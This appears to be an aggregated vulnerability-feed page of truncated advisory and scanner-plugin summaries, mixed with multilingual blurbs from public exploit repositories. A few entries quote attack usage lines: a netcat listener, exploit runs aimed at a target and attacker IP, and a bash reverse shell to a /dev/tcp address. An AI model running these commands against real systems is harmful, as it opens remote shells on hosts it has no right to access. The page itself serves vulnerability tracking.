Linux Distros Unpatched Vulnerability : CVE-2026-84324

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Use after free in Proxy in Google Chrome prior to 152.0.7977.75 allowed a remote attacker to execute arbitrary code outside the sandbox via crafted network...

Linux Distros Unpatched Vulnerability : CVE-2026-71221

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - A stack out-of-bounds write vulnerability was found in gfs2-utils. In savemeta, the height value from on- disk inode metadata is used as a loop bound without...

PT-2026-85031

Name of the Vulnerable Software and Affected Versions VMware Workstation versions 25H2 through 26H1 VMware Fusion versions 25H2 through 26H1 Description An integer overflow exists in the VMXNET3 virtual network adapter within the hypervisor. A malicious actor with local administrative privileges...

SonicWall SMA 1000 Series <= 12.4.3-03453 / 12.5.x <= 12.5.0-02835 Multiple Vulnerabilities (SNWLID-2026-0016)

The remote host is a SonicWall SMA 1000 Series device that is affected by multiple vulnerabilities: - A pre-authentication server-side request forgery SSRF vulnerability in the SMA1000 Appliance Work Place interface due to an unintended alternate access path. A remote, unauthenticated attacker...

Next.js Framework 13.4 < 15.5.24 / 16.x < 16.3.3 RCE (Windows)

The Next.js Framework on the remote host is affected by a remote code execution vulnerability: - A vulnerability in applications using both the Pages Router and App Router without Cache Components can lead to unauthenticated remote code execution when the Next.js server uses a Windows filesystem...

Linux Distros Unpatched Vulnerability : CVE-2026-71220

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - A stack out-of-bounds write vulnerability was found in gfs2-utils. In gfs2edit, the diheight field from on-disk inode metadata is used as an array index without...

PT-2026-85235

Name of the Vulnerable Software and Affected Versions Google Chrome versions prior to 152.0.7977.82 Description A type confusion issue exists in the V8 JavaScript and WebAssembly engine. This flaw occurs when the V8 optimizer incorrectly validates the element type of an array during a sorting...

VulnCheck KEV: CVE-2026-85046

Type confusion in V8 in Google Chrome prior to 152.0.7977.82 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. Chromium security severity: High...

Telerik UI for ASP.NET AJAX < 2026.3.812 Multiple Vulnerabilities

The version of Progress Telerik UI for ASP.NET AJAX installed on the remote Windows host is prior to 2026.3.812. It is, therefore, affected by multiple vulnerabilities: - In Progress Telerik UI for AJAX prior to v2026.3.812, insufficient validation of client-supplied state in RadImageEditor may...

PT-2026-85032

VMware guest → hostCVE-2026-59346 CVSS 9.3 integer overflow in VMXNET3. Guest admin + that NIC = code on the host. CVE-2026-59347 8.1 stack overflow in HGFS shared folders → code as the host VMX process.Privately reported h4urek, cameudis, Stan S / ZDI. Broadcom VMSA-2026-0007. Affects...

AlmaLinux 9 : freerdp (ALSA-2026:61379)

The remote AlmaLinux 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the ALSA-2026:61379 advisory. FreeRDP: FreeRDP: Memory disclosure or denial of service via crafted RDP update orders CVE-2026-67301 FreeRDP: FreeRDP: Denial of Service via crafted...

Linux Distros Unpatched Vulnerability : CVE-2026-84347

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Use after free in WebRTC in Google Chrome prior to 152.0.7977.75 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page...

CVE-2025-69604

CVE-2025-69604 विवरण यह भेद्यता CVE-2025-61229 में वर्णित भेद्यता के समान है – एक हमलावर कार्य टेम्पलेट को संपादित करके SuperDuper बैकअप कार्यों से एक मनमाना पैकेज इंस्टॉल करवा सकता है। पैकेज फिर रूट उपयोगकर्ता के रूप में और गोपनीयता पहुंच के उच्चतम स्तर पूर्ण डिस्क पहुंच के साथ शेल स्क्रिप्ट चला...

CVE-2021-43857-Gerapy-v0.9.7

CVE-2021-43857-Gerapy-v0.9.7 تسجيل الدخول إلى البوابة كمسؤول إضافة مشروع جديد sudo nc -lvnp 80 searchsploit -m python/remote/50640.py python3 ./50640.py -t IP-TARGET/URL -p PORT-TARGET -L YOUR-KALI-LINUX-IP -P YOUR-LISTENER-PORT python3 ./50640.py -t 192.168.106.24 -p 8000 -L 192.168.45.202 -P 80...

CVE-2025-32433

CVE-2025-32433 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 --reverse 192.168.100.98 4444 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 -c "bash -c 'bash -i & /dev/tcp/192.168.100.98/4444 0&1'"...

CVE-2025-55182-POC

CVE-2025-55182 Next.js RCE Scanner CVE-2025-55182 भेद्यता स्कैनिंग और शोषण उपकरण, Next.js अनुप्रयोगों में रिमोट कोड निष्पादन भेद्यता के लिए। बैच डिटेक्शन, कमांड निष्पादन, गॉडज़िला मेमोरी शेल इंजेक्शन और रिवर्स शेल फ़ंक्शन का समर्थन करता है। ⚠️ यह उपकरण केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लि...

CVE-2025-47812-PoC

CVE-2025-47812 — Wing FTP Server रिमोट कोड निष्पादन RCE अवलोकन...

CVE-2023-4220-PoC

CVE-2023-4220 मनमाना फ़ाइल अपलोड / RCE - PoC मैंने यह स्क्रिप्ट CVE-2023-4220 के शोषण को स्वचालित करने और Hack The Box PermX मशीन पर reverse shell प्राप्त करने के लिए बनाई है। यह कमजोरी Chamilo LMS संस्करण ≤ 1.11.24 को प्रभावित करती है, जो बड़े अपलोड कार्यक्षमता में अपर्याप्त सत्यापन के कारण है। ...

EXPLOIT-CVE-2025-55182

CVE-2025-55182 प्रमाण अवधारणा अवलोकन CVE-2025-55182 React2Shell का एक व्यावहारिक प्रदर्शन - React सर्वर घटकों में एक गंभीर RCE भेद्यता। भेद्यता विवरण CVE ID : CVE-2025-55182 प्रकार : प्रोटोटाइप प्रदूषण के माध्यम से दूरस्थ कोड निष्पादन CVSS : 9.8 गंभीर प्रभावित : React 19.0.0, 19.1.0, 19.1.1, 19.2...

CVE-2022-42889

🚀 Exploit CVE-2022-42889 Text4Shell Un exploit Python pour CVE-2022-42889 Text4Shell, une vulnérabilité critique d'exécution de code à distance dans les versions d'Apache Commons Text antérieures à 1.10.0. 📋 Table des matières Description Détails de la vulnérabilité Versions affectées...